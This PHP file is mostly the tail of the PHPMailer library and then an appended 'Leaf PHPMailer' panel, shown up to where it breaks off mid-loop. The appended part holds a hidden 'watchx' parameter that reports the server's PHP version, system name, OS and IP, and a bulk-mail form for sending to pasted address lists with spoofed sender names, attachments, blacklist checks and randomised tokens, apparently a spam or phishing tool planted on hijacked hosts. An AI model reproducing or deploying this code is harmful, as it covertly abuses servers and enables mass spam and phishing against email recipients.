            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
